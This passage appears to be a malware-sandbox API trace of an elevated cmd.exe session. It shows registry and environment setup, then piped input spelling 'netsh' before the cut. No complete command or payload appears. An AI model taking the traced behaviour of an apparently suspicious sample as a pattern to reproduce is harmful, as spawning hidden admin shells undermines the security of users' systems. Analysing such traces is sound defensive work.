lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x1, lpcbData=0x2be914*=0x4) returned 0x0 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x0, lpData=0x2be930*=0x1, lpcbData=0x2be914*=0x1000) returned 0x2 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x0, lpcbData=0x2be914*=0x4) returned 0x0 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x40, lpcbData=0x2be914*=0x4) returned 0x0 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x40, lpcbData=0x2be914*=0x4) returned 0x0 [0038.501] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x0, lpData=0x2be930*=0x40, lpcbData=0x2be914*=0x1000) returned 0x2 [0038.502] RegCloseKey (hKey=0x44) returned 0x0 [0038.502] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2be918 | out: phkResult=0x2be918*=0x44) returned 0x0 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x0, lpData=0x2be930*=0x40, lpcbData=0x2be914*=0x1000) returned 0x2 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x1, lpcbData=0x2be914*=0x4) returned 0x0 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x0, lpData=0x2be930*=0x1, lpcbData=0x2be914*=0x1000) returned 0x2 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x0, lpcbData=0x2be914*=0x4) returned 0x0 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x9, lpcbData=0x2be914*=0x4) returned 0x0 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x4, lpData=0x2be930*=0x9, lpcbData=0x2be914*=0x4) returned 0x0 [0038.502] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2be910, lpData=0x2be930, lpcbData=0x2be914*=0x1000 | out: lpType=0x2be910*=0x0, lpData=0x2be930*=0x9, lpcbData=0x2be914*=0x1000) returned 0x2 [0038.502] RegCloseKey (hKey=0x44) returned 0x0 [0038.502] time (in: timer=0x0 | out: timer=0x0) returned 0x5d150ed7 [0038.502] srand (_Seed=0x5d150ed7) [0038.502] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0038.502] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0038.502] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.502] GetProcessHeap () returned 0x50000 [0038.502] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x218) returned 0x6aa10 [0038.502] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0038.503] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.503] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.503] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.503] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.503] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.503] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.503] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.503] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.503] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.503] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.503] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.503] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.503] GetProcessHeap () returned 0x50000 [0038.503] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x694f0 | out: hHeap=0x50000) returned 1 [0038.503] GetEnvironmentStringsW () returned 0x68a60* [0038.503] GetProcessHeap () returned 0x50000 [0038.503] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xa94) returned 0x6ac30 [0038.503] FreeEnvironmentStringsW (penv=0x68a60) returned 1 [0038.503] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.503] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.503] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.503] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.503] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.503] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.503] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.503] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.503] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.504] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.504] GetProcessHeap () returned 0x50000 [0038.504] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x5c) returned 0x6b6d0 [0038.504] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2bf720 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2bf720, lpFilePart=0x2bf700 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2bf700*="Desktop") returned 0x25 [0038.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.504] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2bf430 | out: lpFindFileData=0x2bf430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x6b740 [0038.504] FindClose (in: hFindFile=0x6b740 | out: hFindFile=0x6b740) returned 1 [0038.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2bf430 | out: lpFindFileData=0x2bf430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6b740 [0038.504] FindClose (in: hFindFile=0x6b740 | out: hFindFile=0x6b740) returned 1 [0038.504] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2bf430 | out: lpFindFileData=0x2bf430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7d4a0670, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d4a0670, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x6b740 [0038.504] FindClose (in: hFindFile=0x6b740 | out: hFindFile=0x6b740) returned 1 [0038.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.505] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.505] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.505] GetProcessHeap () returned 0x50000 [0038.505] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ac30 | out: hHeap=0x50000) returned 1 [0038.505] GetEnvironmentStringsW () returned 0x6b740* [0038.505] GetProcessHeap () returned 0x50000 [0038.505] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xae8) returned 0x6c230 [0038.505] FreeEnvironmentStringsW (penv=0x6b740) returned 1 [0038.505] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.505] GetProcessHeap () returned 0x50000 [0038.505] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6d0 | out: hHeap=0x50000) returned 1 [0038.505] GetProcessHeap () returned 0x50000 [0038.505] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x4016) returned 0x6cd20 [0038.505] GetProcessHeap () returned 0x50000 [0038.505] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd20 | out: hHeap=0x50000) returned 1 [0038.505] GetConsoleOutputCP () returned 0x1b5 [0038.506] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6dbfe0 | out: lpCPInfo=0x4a6dbfe0) returned 1 [0038.506] GetUserDefaultLCID () returned 0x409 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a6d7b50, cchData=8 | out: lpLCData=":") returned 2 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2bf830, cchData=128 | out: lpLCData="0") returned 2 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2bf830, cchData=128 | out: lpLCData="0") returned 2 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2bf830, cchData=128 | out: lpLCData="1") returned 2 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a6ea740, cchData=8 | out: lpLCData="/") returned 2 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a6ea4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a6ea460, cchData=32 | out: lpLCData="Tue") returned 4 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a6ea420, cchData=32 | out: lpLCData="Wed") returned 4 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a6ea3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.506] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a6ea3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0038.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a6ea360, cchData=32 | out: lpLCData="Sat") returned 4 [0038.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a6ea700, cchData=32 | out: lpLCData="Sun") returned 4 [0038.507] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a6d7b40, cchData=8 | out: lpLCData=".") returned 2 [0038.507] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a6ea4e0, cchData=8 | out: lpLCData=",") returned 2 [0038.507] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.507] GetProcessHeap () returned 0x50000 [0038.507] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x0, Size=0x20c) returned 0x695c0 [0038.507] GetConsoleTitleW (in: lpConsoleTitle=0x695c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.508] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.508] GetFileType (hFile=0xfc) returned 0x3 [0038.508] BrandingFormatString () returned 0x697e0 [0038.520] GetVersion () returned 0x1db10106 [0038.520] _vsnwprintf (in: _Buffer=0x2bf9a0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2bf938 | out: _Buffer="6.1.7601") returned 8 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] GetFileType (hFile=0xfc) returned 0x3 [0038.521] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a6e6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0038.521] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a6e6340, nSize=0x2000, Arguments=0x2bf940 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0038.521] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2bf8c8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf8c8*=0x24, lpOverlapped=0x0) returned 1 [0038.521] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bf968 | out: _Buffer="\r\n") returned 2 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] GetFileType (hFile=0xfc) returned 0x3 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.521] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bf938, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf938*=0x2, lpOverlapped=0x0) returned 1 [0038.521] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2bf968 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] GetFileType (hFile=0xfc) returned 0x3 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0038.521] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2bf938, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf938*=0x3f, lpOverlapped=0x0) returned 1 [0038.521] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bf968 | out: _Buffer="\r\n") returned 2 [0038.521] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.521] GetFileType (hFile=0xfc) returned 0x3 [0038.522] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.522] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bf938, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf938*=0x2, lpOverlapped=0x0) returned 1 [0038.522] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0038.522] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0038.522] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0038.522] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0038.522] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.522] GetFileType (hFile=0x98) returned 0x3 [0038.522] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0038.522] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2bf790 | out: TokenHandle=0x2bf790*=0x0) returned 0xc000007c [0038.522] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2bf790 | out: TokenHandle=0x2bf790*=0x50) returned 0x0 [0038.522] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2bf7a0, TokenInformationLength=0x4, ReturnLength=0x2bf7a8 | out: TokenInformation=0x2bf7a0, ReturnLength=0x2bf7a8) returned 0x0 [0038.522] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2bf7a8, TokenInformationLength=0x4, ReturnLength=0x2bf7a0 | out: TokenInformation=0x2bf7a8, ReturnLength=0x2bf7a0) returned 0x0 [0038.522] NtClose (Handle=0x50) returned 0x0 [0038.522] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x2bf770, nSize=0x0, Arguments=0x2bf778 | out: lpBuffer="\x97e0\x06") returned 0xf [0038.522] GetProcessHeap () returned 0x50000 [0038.523] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x218) returned 0x51ab0 [0038.523] GetConsoleTitleW (in: lpConsoleTitle=0x2bf7c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.558] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0038.558] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0038.559] GetProcessHeap () returned 0x50000 [0038.559] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x51ab0 | out: hHeap=0x50000) returned 1 [0038.559] LocalFree (hMem=0x697e0) returned 0x0 [0038.559] GetProcessHeap () returned 0x50000 [0038.559] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6aa10 | out: hHeap=0x50000) returned 1 [0038.559] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bf4a8 | out: _Buffer="\r\n") returned 2 [0038.559] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.559] GetFileType (hFile=0xfc) returned 0x3 [0038.559] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.559] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bf478, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf478*=0x2, lpOverlapped=0x0) returned 1 [0038.559] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0038.559] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.559] _vsnwprintf (in: _Buffer=0x4a6ceb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2bf4b8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0038.559] _vsnwprintf (in: _Buffer=0x4a6cebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2bf4b8 | out: _Buffer=">") returned 1 [0038.559] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.559] GetFileType (hFile=0xfc) returned 0x3 [0038.559] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0038.560] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2bf4a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf4a8*=0x26, lpOverlapped=0x0) returned 1 [0038.560] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.560] GetFileType (hFile=0x98) returned 0x3 [0038.560] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.560] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.560] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de320, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0038.560] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.560] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.560] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de322, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.560] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.560] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.560] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de324, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.560] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.560] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.560] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de326, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.560] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.560] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de328, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 